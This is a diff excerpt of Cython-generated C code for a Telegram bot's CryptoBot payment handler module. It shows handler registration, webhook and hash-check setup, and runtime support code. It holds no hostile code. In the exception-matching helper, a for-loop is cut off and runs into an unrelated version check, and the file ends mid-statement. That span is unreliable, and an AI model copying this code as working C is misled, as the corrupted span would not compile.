(unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_crypto_2, __pyx_t_6) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":27 + * + * + * if CRYPTO_BOT_ENABLE: # <<<<<<<<<<<<<< + * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) + * + */ + } + + /* "handlers/payments/cryprobot_pay.py":32 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_crypto = State() + * waiting_for_payment_confirmation_crypto = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_6); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error); + __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_6, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_cryprobot_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (__pyx_t_6 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 32, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":33 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_crypto = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_crypto = State() + * entering_custom_amount_crypto = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_crypto, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":34 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_crypto = State() + * waiting_for_payment_confirmation_crypto = State() # <<<<<<<<<<<<<< + * entering_custom_amount_crypto = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":35 + * choosing_amount_crypto = State() + * waiting_for_payment_confirmation_crypto = State() + * entering_custom_amount_crypto = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":32 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_crypto = State() + * waiting_for_payment_confirmation_crypto = State() + */ + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_6, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_pay_cryptobot, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_cryptobot, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_cryptobot, __pyx_t_6) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_startswith); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__36, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_7cryptobot_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_cryptobot_webhook, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__18)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_cryptobot_webhook, __pyx_t_5) < 0) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_10check_hash, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_check_hash, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__22)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_hash, __pyx_t_5) < 0) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_13process_crypto_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_crypto_payment, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_crypto_payment, __pyx_t_5) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_enter_custom_amount_crypto, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__26)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_entering_custom_amount_crypto); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_cryprobot_pay, __pyx_d, ((PyObject *)__pyx_codeobj__30)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_6) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":1 + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiocryptopay import AioCryptoPay, Networks + */ + __pyx_t_6 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_6) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.cryprobot_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.cryprobot_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback 